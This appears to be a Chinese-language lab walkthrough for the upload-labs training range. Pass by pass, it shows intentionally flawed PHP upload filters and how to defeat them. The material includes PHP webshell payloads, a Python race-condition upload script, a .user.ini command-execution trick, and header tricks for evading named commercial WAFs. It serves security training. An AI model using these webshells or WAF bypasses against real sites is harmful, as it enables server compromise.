upload-labs

一个帮你总结所有类型的上传漏洞的靶场

文件上传靶机下载地址:https://github.com/c0ny1/upload-labs
 

运行环境

操作系统:推荐windows(除了Pass-19必须在linux下,其余Pass都可以在windows上运行)
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接

PS:为了节省时间,可下载Windows下集成环境,解压即可运行靶机环境。

总结

-----------------------------------------------------------------------------------------------------------------------

实验用小马

绕过方法

Pass-01

源代码:

 function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

1.前端禁用JS,直接上传Webshell

2.把以.php结尾的小马改为以.jpg|.png|.gif结尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php即可上传成功

Pass-02

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true; }
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}

由代码可知,对文件MIME类型进行了验证判断

截断上传数据包,修改Content-Type为image/gif,然后放行数据包

Pass-03

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

1.这里是黑名单验证('.asp','.aspx','.php','.jsp'),我们可上传php3,php5...等这样可以被服务器解析的后缀名

2.重写文件解析规则绕过。上传先上传一个名为.htaccess文件,内容如下:

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

如何创建.htaccess结尾的无文件名的文件

一句话木马的制作:https://blog.csdn.net/netuser1937/article/details/53738675/

然后再上传一个1.jpg

执行上传的1.jpg脚本

通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件,

无论扩展名是什么(没有也行),都以php的方式来解析

Pass-04

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

分析代码发现,这里对上传的后缀名的判断增加了,php3.php5....已经不允许上传,但是没有限制.htaccess文件的上传,所以我们依然可以使用

重写文件解析规则绕过,方法同上题一样,这里不再赘述

Pass-05

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

分析代码,发现以.htaccess为后缀的文件已经不允许上传,但是  $file_ext = strtolower($file_ext); //转换为小写  这一句没有了,我们就可以使用文件名后缀大小写混合绕过,把1.php改为1.phP...来上传

Pass-06

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

果然上传成功

Pass-07

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

原理同Pass-06,文件名后加点和空格,改成1.php.

Pass-08

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

分析代码,少了    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA    这一句,我们可以采用Windows文件流特性绕过,文件名改成

1.php::$DATA , 上传成功后保存的文件名其实是1.php

Pass-09

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

原理同Pass-06,上传文件名后加上点+空格+点,改为1.php. .

Pass-10

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

分析代码,由于 $file_name = str_ireplace($deny_ext,"", $file_name);   只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成1.pphphp

Pass-11

源代码:

 $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

分析代码,这是以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建

文件夹,上传的文件名写成1.jpg, save_path改成../upload/1.php%00,最后保存下来的文件就是1.php

Pass-12

源代码:

 $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php【二进制00】形式

Pass-13

源代码:

 function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
} $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file); if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞

Pass-14

源代码:

 function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
} $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

getimagesize() 函数用于获取图像尺寸 ,索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

这里有详解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617

image_type_to_extension() 函数用于获取图片后缀

Pass-15

源代码:

 function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
} $is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
exif_imagetype()  此函数是php内置函数,用来获取图片类型
 

Pass-16

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name']; $target_path=$UPLOAD_ADDR.basename($filename); // 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path); if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
} }else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path); if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
} }else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例

php图像二次渲染:

https://blog.csdn.net/hitwangpeng/article/details/48661433

https://blog.csdn.net/hitwangpeng/article/details/46548849

这两个讲的还可以

打开被渲染后的图片,Webshell代码仍然存在

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

Pass-17

源代码:

 $is_upload = false;
$msg = null; if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
unlink($upload_file);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

 #!/usr/bin/env python
# coding:utf-8
3 import hackhttp
from multiprocessing.dummy import Pool as ThreadPool def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341 -----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream <?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit" 上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r") pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

在脚本运行的时候,访问Webshell

Pass-18

源代码:

 //index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
} //myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" ); ......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){
return $this->resultUpload( $ret );
} $ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
} $ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
} $ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
} // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
} // if we are here, we are ready to move the file to destination $ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
} // check if we need to rename the file if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
} // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); }
......
......
......
};

刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。

上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。

快速提交上面的数据包,可以让文件名字不被重命名上传成功。

然后利用Apache的解析漏洞,即可获得shell

Pass-19

源代码:

 $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
} } else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

原理同Pass-11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

------------------

于2019.10.24补充

今天在先知社区看到

https://xz.aliyun.com/t/6091

https://xz.aliyun.com/t/6587

学习到了利用.user.ini来上传php后门

利用条件:

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

利用步骤:

1.首先上传一个这样的.user.ini

GIF89a
auto_prepend_file=1.jpg

2.然后在上传这样一个图片马 1.jpg

GIF89a
<script language='php'>system('whoami');</script>

不过需要上传的目录下有一个可执行的php文件

上传完毕直接访问这个可执行php文件即可

------------------------------

于2019.11.07日补充

在微信公众号上看到了一篇绕waf的文件上传

WAF绕过

安全狗绕过

1.绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;

2.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将 Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type

3.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将 Content-Disposition: form-data 冒号后面 增加或减少一个空格
将 form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格

4.通过字符串拼接绕过

看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata

5.双文件上传绕过

<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

6.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

8.等效替换绕过

原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。

9.修改编码绕过

使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传

原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过

源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition

MIME类型绕过

上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

文件内容检测绕过

抓包,在正常图片末尾添加一句话木马

多次上传Win特性绕过

多次上传同一个文件,windows会自动更新补全TEST (1).php。
有时会触发条件竞争,导致绕过。

条件竞争绕过

通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

CONTENT-LENGTH绕过

针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

文件内容检测绕过

